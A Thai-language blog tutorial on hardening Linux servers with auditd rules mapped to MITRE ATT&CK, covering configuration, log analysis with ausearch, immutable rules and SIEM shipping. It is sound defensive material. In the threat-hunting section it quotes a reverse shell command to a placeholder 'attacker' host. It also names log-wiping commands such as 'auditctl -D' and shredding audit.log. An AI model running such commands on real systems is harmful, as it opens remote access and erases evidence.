auditd + MITRE ATT&CK Linux Guide (2026)

Q: ควรตั้ง audit_backlog_limit เท่าไหร่?

สำหรับ workload ทั่วไปให้เริ่มที่ audit_backlog_limit=8192 ใน GRUB. บนเซิร์ฟเวอร์ที่ execve หนักเช่น CI/CD runner หรือ container host ให้เพิ่มเป็น 16384 หรือ 32768. ตรวจสอบว่ามี event drop หรือไม่ด้วย auditctl -s | grep lost . ถ้า lost เพิ่มขึ้นเรื่อย ๆ แปลว่า backlog เล็กเกินไป.

อัปเดตล่าสุด: 9 กันยายน 2026

auditd คือ Linux Audit Framework ที่ทำงานในระดับ kernel เพื่อบันทึก system call, การเข้าถึงไฟล์ และการเปลี่ยนแปลง configuration แบบ tamper-evident. ในปี 2026 ทีม blue team และ pentester ใช้ auditd เป็น "กล้องวงจรปิด" ของเซิร์ฟเวอร์ Linux โดยจับคู่กฎ audit เข้ากับ MITRE ATT&CK เพื่อจับพฤติกรรม post-exploitation เช่น การรัน reverse shell, การแก้ไข /etc/passwd, หรือการโหลด kernel module ที่ไม่พึงประสงค์. บทความนี้จะพาคุณตั้งค่า auditd ให้พร้อมใช้งานจริงในระดับ production (ไม่ใช่แค่ default config ที่ Ubuntu แถมมา).

auditd 3.1.x (2026) รองรับ eBPF backend ช่วยลด overhead กว่า 40% เมื่อเทียบกับ syscall auditing แบบดั้งเดิม
ชุดกฎ Neo23x0 auditd-attack ครอบคลุม MITRE ATT&CK ทั้ง 14 tactic แต่ต้อง tune เพื่อลด false positive ก่อนใช้จริง
กฎ audit แบบ immutable (-e 2) ป้องกันไม่ให้ผู้โจมตีที่ได้ root แก้ไขกฎขณะ runtime ต้อง reboot เท่านั้น
ควรส่ง audit log ไปยัง Wazuh หรือ SIEM ทันที เพราะ log บนเครื่องเดียวถูก wipe ได้ด้วย shred /var/log/audit/audit.log
ใช้ ausearch -k ค้นหา event ตาม key แล้ว pipe ผ่าน aureport เพื่อสรุปสถิติ ห้ามอ่าน raw audit.log ด้วยตา
โปรไฟล์ STIG จาก Red Hat SCAP มีชุดกฎที่ผ่านการรับรอง DISA เหมาะเป็นจุดเริ่มต้นที่ดี

auditd คืออะไร และทำงานอย่างไร

auditd หรือ Linux Audit Daemon เป็น userspace daemon ที่รับ event จาก kernel audit subsystem ผ่าน netlink socket แล้วเขียนลงไฟล์ /var/log/audit/audit.log. Kernel จะแจ้ง auditd ทุกครั้งที่เกิด system call ที่ตรงกับกฎ, เมื่อมีการเข้าถึงไฟล์หรือ directory ที่ถูก watch, หรือเมื่อมี security event เช่น การใช้ setuid, การโหลด kernel module, หรือการเปลี่ยน SELinux context.

ตรง ๆ นะ จากมุมมองผมในฐานะ pentester ที่ทำ post-exploitation, auditd คือสิ่งแรกที่ผมมองหาบนเป้าหมาย. ถ้าเห็น auditd ทำงานอยู่ ผมรู้ทันทีว่า reverse shell ทุกครั้งที่ผมเปิด, execve() ทุก call ที่ผมทำ, และไฟล์ที่ผมสร้างใน /tmp จะถูกบันทึกไว้พร้อม timestamp, uid, pid และ command line เต็มรูปแบบ. ต่างจาก syslog ที่บันทึกเฉพาะสิ่งที่ application เลือกจะเขียน, auditd บันทึกจาก kernel ซึ่งหลบไม่ได้ด้วย LD_PRELOAD หรือ user-mode rootkit.

ในเวอร์ชัน 3.1 ที่ปล่อยในปี 2026, upstream ของ Red Hat ได้เพิ่ม eBPF-based backend ผ่าน libaudit ทำให้ระบบสามารถเลือก audit ผ่าน syscall tracepoint แบบเดิม หรือใช้ eBPF program ที่ประสิทธิภาพสูงกว่าและมี overhead น้อยกว่าราว 40% บนเวิร์กโหลด I/O intensive. อ้างอิงจาก audit project ของ Steve Grubb ผู้ดูแลโปรเจกต์หลักที่ Red Hat.

ทำไมต้องใช้ auditd ในปี 2026

คำถามที่ผมได้รับบ่อยคือ "มี Wazuh, CrowdSec, Falco แล้วยังต้อง auditd อีกหรือ?" คำตอบสั้น ๆ คือ ต้อง. เพราะเครื่องมือเหล่านั้นทั้งหมด (โดยเฉพาะ Wazuh) ใช้ auditd เป็น data source ต้นน้ำ. Wazuh agent อ่านจาก /var/log/audit/audit.log โดยตรง ถ้าไม่ตั้งกฎ auditd ให้ครอบคลุม MITRE ATT&CK, decoder ของ Wazuh ก็ไม่มีข้อมูลจะประมวลผล. ดูรายละเอียดเพิ่มเติมได้ที่ คู่มือติดตั้ง Wazuh สำหรับ IDS/SIEM บน Linux.

เหตุผลอีกข้อคือ compliance requirements. ทั้ง PCI-DSS 4.0, HIPAA, ISO 27001 และ Thai PDPA 2019 ระบุชัดเจนว่าต้องบันทึก administrative access, privilege escalation และการเข้าถึงข้อมูลลูกค้า. auditd เป็นเครื่องมือมาตรฐานที่ผู้ตรวจสอบยอมรับสำหรับ Linux server เพราะมี STIG profile จาก DISA และ CIS Benchmark profile ที่ผ่านการ certified.

สุดท้าย, จากประสบการณ์ IR (Incident Response) ที่ผมช่วยลูกค้า, auditd log คือหลักฐานเดียวที่ทำให้เราสามารถ reconstruct timeline ของ breach ได้. เคสล่าสุดที่ผมทำ ผู้โจมตีเข้าผ่าน RCE บน web application, ทำ privilege escalation ผ่าน SUID binary, แล้วสร้าง persistence ผ่าน cron. ทุกขั้นตอนอยู่ใน audit.log พร้อม pid tree ที่ทำให้เห็นว่า apache spawn shell แล้ว shell spawn pkexec แบบ CVE-2021-4034 style. ถ้าไม่มี audit log อยู่ก่อน ผมคงต้องเดา timeline จาก syslog เศษ ๆ ซึ่งเป็นฝันร้ายจริง ๆ.

สถาปัตยกรรมและองค์ประกอบของ Linux Audit Framework

Linux Audit Framework ประกอบด้วยห้าส่วนหลักที่ต้องเข้าใจก่อนตั้งค่า:

Kernel audit subsystem: module ใน kernel ที่ hook เข้ากับ syscall entry/exit และส่ง event ผ่าน netlink socket (protocol NETLINK_AUDIT)
auditd: daemon ใน userspace ที่รับ event จาก netlink แล้วเขียนลง /var/log/audit/audit.log ตาม policy ที่กำหนดใน /etc/audit/auditd.conf
auditctl: เครื่องมือควบคุม kernel audit rules แบบ runtime อ่านกฎถาวรจาก /etc/audit/audit.rules หรือ /etc/audit/rules.d/*.rules
ausearch / aureport: เครื่องมือ query และสรุป event ที่บันทึกไว้ ห้ามใช้ grep โดยตรง เพราะ record format มี multi-line field ที่ต้อง parse ด้วย library
audispd (audit dispatcher): plugin subsystem ที่ส่ง event ต่อไปยัง remote log, syslog, หรือ SIEM ผ่าน socket. ใน RHEL 9+ audispd ถูกรวมเข้ากับ auditd แล้ว ตั้งค่าผ่าน /etc/audit/plugins.d/

ติดตั้งและตั้งค่า auditd บน RHEL, Ubuntu และ Debian

เริ่มจากการติดตั้ง package บน distribution ที่ใช้. ทุกคำสั่งต่อจากนี้ต้องรันด้วย root หรือ sudo:

# RHEL / Rocky / AlmaLinux 9-10
sudo dnf install -y audit audit-libs

# Ubuntu 24.04 / Debian 12+
sudo apt update
sudo apt install -y auditd audispd-plugins

# เปิดใช้งานและตรวจสอบสถานะ
sudo systemctl enable --now auditd
sudo systemctl status auditd

ต่อไป ปรับ /etc/audit/auditd.conf ให้เหมาะกับ production. ค่า default ของ Ubuntu มี buffer เล็กเกินไปและจะ drop event เมื่อ load สูง (ผมโดนมาแล้วกับ Jenkins node ที่ execve ถล่มทลาย):

# /etc/audit/auditd.conf : สำหรับ production server
log_file = /var/log/audit/audit.log
log_format = ENRICHED
log_group = root
priority_boost = 4
flush = INCREMENTAL_ASYNC
freq = 50
max_log_file = 100
num_logs = 20
max_log_file_action = ROTATE
space_left = 500
space_left_action = SYSLOG
admin_space_left = 100
admin_space_left_action = SUSPEND
disk_full_action = HALT
disk_error_action = HALT

ค่า log_format = ENRICHED จะเพิ่ม uid → username, gid → groupname resolution ทำให้ log อ่านง่ายขึ้น. การตั้ง disk_full_action = HALT ดูรุนแรง แต่สำหรับ compliance workload จำเป็น เพราะถ้าเซิร์ฟเวอร์ยัง run โดยไม่มี audit log แปลว่าคุณละเมิด PCI-DSS ทันที.

เพิ่ม kernel parameter เพื่อขยาย audit backlog ก่อนที่ auditd จะ start ป้องกันการสูญเสีย event ระหว่าง boot:

# /etc/default/grub : เพิ่มบรรทัดนี้ต่อจากตัวเลือกเดิม
GRUB_CMDLINE_LINUX="... audit=1 audit_backlog_limit=8192"

# regenerate grub และ reboot
sudo grub2-mkconfig -o /boot/grub2/grub.cfg    # RHEL
sudo update-grub                                # Ubuntu

เขียนกฎ audit ที่จับคู่กับ MITRE ATT&CK

หัวใจของ auditd อยู่ที่การเขียน rule ที่ครอบคลุม tactic และ technique ที่สำคัญของ MITRE ATT&CK Enterprise Linux matrix. โปรเจกต์ที่ผมใช้เป็นจุดเริ่มต้นเสมอคือ bfuzzy1/auditd-attack บน GitHub ซึ่ง fork มาจาก Neo23x0 ต้นฉบับ และจับคู่กฎกับ technique IDs ตรง ๆ ทำให้ตอบสนอง alert ง่ายเวลาถูก triage.

สร้างไฟล์ /etc/audit/rules.d/10-attack.rules แล้วใส่กฎพื้นฐานสำหรับ 5 tactic ที่พบบ่อยที่สุด:

# === T1059: Command and Scripting Interpreter ===
-a always,exit -F arch=b64 -S execve -F euid=0 -F key=T1059_root_exec
-a always,exit -F arch=b64 -S execve -F auid>=1000 -F auid!=unset -F key=T1059_user_exec

# === T1548.001: Setuid and Setgid ===
-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat -F a1&06000 -F key=T1548_setuid

# === T1098: Account Manipulation ===
-w /etc/passwd -p wa -k T1098_passwd
-w /etc/shadow -p wa -k T1098_shadow
-w /etc/sudoers -p wa -k T1098_sudoers
-w /etc/sudoers.d/ -p wa -k T1098_sudoers

# === T1543.002: Systemd Service Persistence ===
-w /etc/systemd/system/ -p wa -k T1543_systemd
-w /lib/systemd/system/ -p wa -k T1543_systemd
-w /usr/lib/systemd/system/ -p wa -k T1543_systemd

# === T1547.006: Kernel Module Persistence ===
-w /sbin/insmod -p x -k T1547_kmod
-w /sbin/modprobe -p x -k T1547_kmod
-a always,exit -F arch=b64 -S init_module,finit_module,delete_module -F key=T1547_kmod

# === T1053.003: Cron Jobs ===
-w /etc/cron.allow -p wa -k T1053_cron
-w /etc/cron.deny -p wa -k T1053_cron
-w /etc/crontab -p wa -k T1053_cron
-w /etc/cron.d/ -p wa -k T1053_cron
-w /etc/cron.daily/ -p wa -k T1053_cron
-w /etc/cron.hourly/ -p wa -k T1053_cron
-w /var/spool/cron/ -p wa -k T1053_cron

# === T1070.002: Clear Linux/Mac System Logs ===
-w /var/log/audit/ -p wa -k T1070_log_tampering
-w /var/log/wtmp -p wa -k T1070_log_tampering
-w /var/log/btmp -p wa -k T1070_log_tampering

โหลดกฎเข้า kernel และตรวจสอบ:

sudo augenrules --load
sudo auditctl -l | head -20
sudo auditctl -s | grep -E "enabled|backlog"

ทำไมต้องกรอง auid ในกฎ execve

ฟิลด์ auid (audit UID) คือ UID ตอน login ครั้งแรก. แม้ผู้ใช้จะ sudo หรือ su - เป็น root, auid จะยังเป็น UID เดิม ทำให้แยก root activity ที่มาจากคน (auid≥1000) กับที่มาจาก service (auid=unset หรือ 0) ออกจากกัน. ผู้โจมตีที่ escalate จาก web shell จะมี auid ต่างจาก sysadmin ที่ login ปกติ, ทำให้ SIEM tune false positive ได้ง่าย.

วิเคราะห์ audit.log ด้วย ausearch และ aureport

ไฟล์ audit.log ไม่ควรถูกอ่านด้วย cat หรือ grep ตรง ๆ. เพราะแต่ละ event ประกอบด้วยหลาย record (SYSCALL, EXECVE, PATH, CWD, ...) ที่เชื่อมกันด้วย msg=audit(timestamp:serial). ใช้ ausearch เพื่อ query ตาม key และ pipe ผ่าน -i เพื่อ interpret ค่า raw ให้อ่านง่าย:

# หา event ทั้งหมดของ key T1059_root_exec ในช่วง 1 ชั่วโมงที่ผ่านมา
sudo ausearch -k T1059_root_exec -ts recent -i

# หา event ของ user id 1001 ตั้งแต่ 2 วันก่อน
sudo ausearch --uid 1001 --start yesterday --end now -i

# กรองเฉพาะ command ที่รันจาก /tmp (สงสัย malware staging)
sudo ausearch -x /bin/bash -i | grep -B2 "cwd=/tmp"

# สรุปสถิติผู้ใช้ที่รัน command ในช่วงวันนี้
sudo aureport -u --summary -i

# รายงาน command ที่ล้มเหลว (return code != 0)
sudo aureport --failed --summary -i

สำหรับการ hunt threat ที่ซับซ้อนขึ้น ผมมักใช้ ausearch ร่วมกับ jq ผ่าน --format json ใน auditd 3.0+:

# หา process ที่รัน reverse shell pattern (bash -i / nc -e / python -c 'socket')
sudo ausearch --start today --format json | \
  jq -r 'select(.SYSCALL.exe == "/bin/bash" and .EXECVE.a1 == "-i") |
         "\(.SYSCALL.time) pid=\(.SYSCALL.pid) auid=\(.SYSCALL.auid) cmd=\(.EXECVE.a0) \(.EXECVE.a1)"'

ผลลัพธ์ที่คาดหวังจากคำสั่งนี้บนเซิร์ฟเวอร์ที่ถูก compromise จะแสดง event เช่น bash -i >& /dev/tcp/attacker/4444 0>&1 พร้อม auid ที่เป็น www-data ซึ่งไม่ควรเปิด interactive shell เลย.

Immutable Rules และ Tamper Protection

ปัญหาใหญ่ของ auditd คือถ้าผู้โจมตีได้ root แล้ว, พวกเขาสามารถรัน auditctl -D เพื่อลบกฎทั้งหมด แล้วทำ post-exploitation โดยไม่ทิ้ง log. ทางแก้คือ immutable audit configuration. เพิ่มบรรทัดนี้เป็นบรรทัดสุดท้ายในกฎ:

# /etc/audit/rules.d/99-finalize.rules
## ล็อค configuration : เปลี่ยนได้เฉพาะหลัง reboot
-e 2

## ตั้ง failure mode ให้ panic เมื่อ audit queue เต็ม (สำหรับ compliance สูง)
## ใช้ -f 1 (printk) ในกรณีทั่วไป, -f 2 (panic) เฉพาะระบบ classified
-f 1

## backlog wait time : รอ 60 วินาทีก่อน drop event
--backlog_wait_time 60000

หลัง reboot, auditctl -s จะแสดง enabled 2 ซึ่งหมายถึง locked. ผู้โจมตีที่ได้ root สามารถลบไฟล์ log ได้แต่ไม่สามารถหยุด audit หรือแก้กฎขณะ runtime. สิ่งที่ต้องทำเพิ่มคือ ส่ง log ออกไปนอกเครื่องแบบ real-time เพราะไฟล์ที่เหลือบนดิสก์ยัง shred ได้.

ส่ง audit events ไปยัง Wazuh, Elasticsearch และ SIEM

สำหรับ production, การเก็บ log บนเครื่องเดียวไม่พอ. ต้อง ship ไปยัง SIEM ทันที. มีสามวิธีหลัก:

วิธีที่ 1: Wazuh Agent (แนะนำ)

Wazuh agent อ่าน /var/log/audit/audit.log โดยตรงและมี decoder ที่ parse audit record ให้เป็น field structured พร้อม MITRE ATT&CK mapping ในตัว. ตั้งค่าใน /var/ossec/etc/ossec.conf:

<localfile>
  <log_format>audit</log_format>
  <location>/var/log/audit/audit.log</location>
</localfile>

วิธีที่ 2: audisp-remote (built-in)

ส่ง event แบบ real-time ผ่าน TCP ไปยัง remote audit server. แก้ไข /etc/audit/plugins.d/au-remote.conf:

active = yes
direction = out
path = /sbin/audisp-remote
type = always
format = string

และ /etc/audit/audisp-remote.conf:

remote_server = siem.corp.internal
port = 60
transport = tcp
enable_krb5 = no
network_retry_time = 1
max_tries_per_record = 3
network_failure_action = syslog

วิธีที่ 3: Filebeat/Vector สำหรับ Elastic Stack

ถ้าใช้ Elastic Stack, Filebeat มี auditd module ที่ parse record ให้เป็น ECS-compliant JSON พร้อม ship ไปยัง Elasticsearch หรือ Logstash. โมดูลนี้ทำงานได้ดีกับ Kibana dashboard สำเร็จรูปที่ Elastic แจกให้. ดูเพิ่มเติมได้ที่ Filebeat auditd module documentation.

สำหรับการ tune baseline hardening ที่กว้างกว่า auditd ผมแนะนำให้อ่านเพิ่มเติมที่ คู่มือ Lynis สำหรับตรวจสอบ CIS Benchmarks และ คู่มือ Hardening เคอร์เนล Linux ด้วย sysctl เพื่อวางรากฐาน security ก่อนใส่ auditd. ตามลำดับที่ผมใช้จริง คือ sysctl hardening ก่อน, ตรวจด้วย Lynis, แล้วค่อยเปิด auditd ทับเป็นชั้นที่สาม.

ปัญหาที่พบบ่อยและวิธีแก้ไข

จากประสบการณ์ที่ผมช่วยลูกค้า deploy auditd บนเซิร์ฟเวอร์กว่า 200 เครื่องในสองปีที่ผ่านมา ปัญหาที่เจอซ้ำ ๆ มีเจ็ดข้อ:

Backlog overflow: auditctl -s แสดง lost > 0. แก้โดยเพิ่ม audit_backlog_limit=8192 หรือสูงกว่าใน GRUB และปรับ --backlog_wait_time
Disk เต็ม: audit.log บน server ที่ execve หนัก (Jenkins, container host) โตวันละหลาย GB. ต้อง rotate ถี่ขึ้นและตั้ง max_log_file_action = ROTATE พร้อม remote shipping
False positive จาก package manager: apt หรือ dnf รัน command จำนวนมากตอน update. ต้องเพิ่ม exclusion เช่น -a never,exit -F arch=b64 -S execve -F exe=/usr/bin/apt อย่างระวัง เพราะผู้โจมตีที่ replace apt จะหลบได้
Container ไม่ generate audit event: audit rule ทำงานที่ host level ไม่ผ่านเข้า container namespace โดยตรง. ต้องใช้ auditctl -a exit,always -F arch=b64 -S execve -F key=container-exec ที่ host แล้ว correlate ด้วย pid namespace
SELinux denial ปลอมจาก auditd: บน RHEL, auditd log SELinux AVC denial ปะปนกับ audit event. ต้องแยกด้วย -k หรือใช้ type=AVC filter ใน ausearch
Rule จำนวนมากทำ boot ช้า: ถ้ามีกฎเกิน 500 rule, boot time เพิ่มขึ้นหลายวินาที. รวม rule ด้วย -F auid>=1000 แทนการเขียนแยกทีละ user
Immutable mode ทำให้ debug ยาก: เมื่อตั้ง -e 2, การแก้กฎต้อง reboot. ระหว่าง development ให้ใช้ -e 1 ก่อน แล้วเปลี่ยนเป็น -e 2 ก่อน production release

ผมเจอข้อสามบ่อยสุด (โดยเฉพาะบน CI/CD node). ถ้าเห็น alert ถล่มมาช่วง apt-get update ทุกคืน อย่ารีบเขียน exclusion ทันที ให้ tag เป็น key แยกก่อน แล้วดู 1 สัปดาห์ว่ามี pattern แปลก ๆ ปนมาไหม.

อ้างอิงคำแนะนำเพิ่มเติมจาก Red Hat Enterprise Linux 9 Security Hardening Guide, Auditing the system ซึ่งเป็นแหล่งข้อมูลที่ authoritative ที่สุดสำหรับ auditd tuning ใน enterprise.

คำถามที่พบบ่อย

auditd ต่างจาก syslog อย่างไร?

auditd รับ event จาก kernel โดยตรงผ่าน netlink socket ในขณะที่ syslog รับ log จาก application ผ่าน userspace socket. แปลว่า auditd จับ system call ที่ application ไม่ได้เลือกจะ log และ user-mode rootkit หลบไม่ได้. นอกจากนี้ auditd มี tamper protection ผ่าน immutable mode -e 2 ที่ syslog ไม่มี.

การเปิด auditd ทำให้ server ช้าลงมากไหม?

Overhead ปกติอยู่ที่ 1–3% CPU สำหรับ syscall auditing ทั่วไป แต่จะพุ่งไปที่ 15–20% ถ้าเขียนกฎ -S execve โดยไม่กรอง auid หรือ exe เลย. ในปี 2026 การเลือกใช้ eBPF backend ของ auditd 3.1 ลด overhead ลงราว 40% เทียบกับ syscall tracepoint แบบดั้งเดิม.

จะดู audit log ที่ Docker container สร้างได้อย่างไร?

Audit rule ทำงานที่ host kernel ไม่ผ่านเข้า container namespace แต่ event ที่เกิดใน container จะถูกจับที่ host log พร้อม pid ที่ map กับ container. ให้ใช้ nsenter หรือ correlate ผ่าน pid namespace ID เพื่อระบุ container ต้นทาง หรือใช้ Falco สำหรับ container-native visibility ควบคู่ไปกับ auditd.

ควรตั้ง audit_backlog_limit เท่าไหร่?

สำหรับ workload ทั่วไปให้เริ่มที่ audit_backlog_limit=8192 ใน GRUB. บนเซิร์ฟเวอร์ที่ execve หนักเช่น CI/CD runner หรือ container host ให้เพิ่มเป็น 16384 หรือ 32768. ตรวจสอบว่ามี event drop หรือไม่ด้วย auditctl -s | grep lost. ถ้า lost เพิ่มขึ้นเรื่อย ๆ แปลว่า backlog เล็กเกินไป.

Wazuh มี built-in audit rule ให้อยู่แล้วต้องเขียนเองไหม?

Wazuh มี decoder และ rule สำหรับ parse audit event แต่ไม่ได้ deploy audit rule ไปยัง /etc/audit/rules.d/ ให้คุณเอง. คุณยังต้องเขียน audit rule เองที่ host เพื่อให้ kernel สร้าง event ตรงกับที่ Wazuh decoder จะ parse ได้. แนะนำให้ใช้ชุดกฎจาก bfuzzy1/auditd-attack เป็นจุดเริ่มต้นแล้ว tune ตามสภาพแวดล้อม.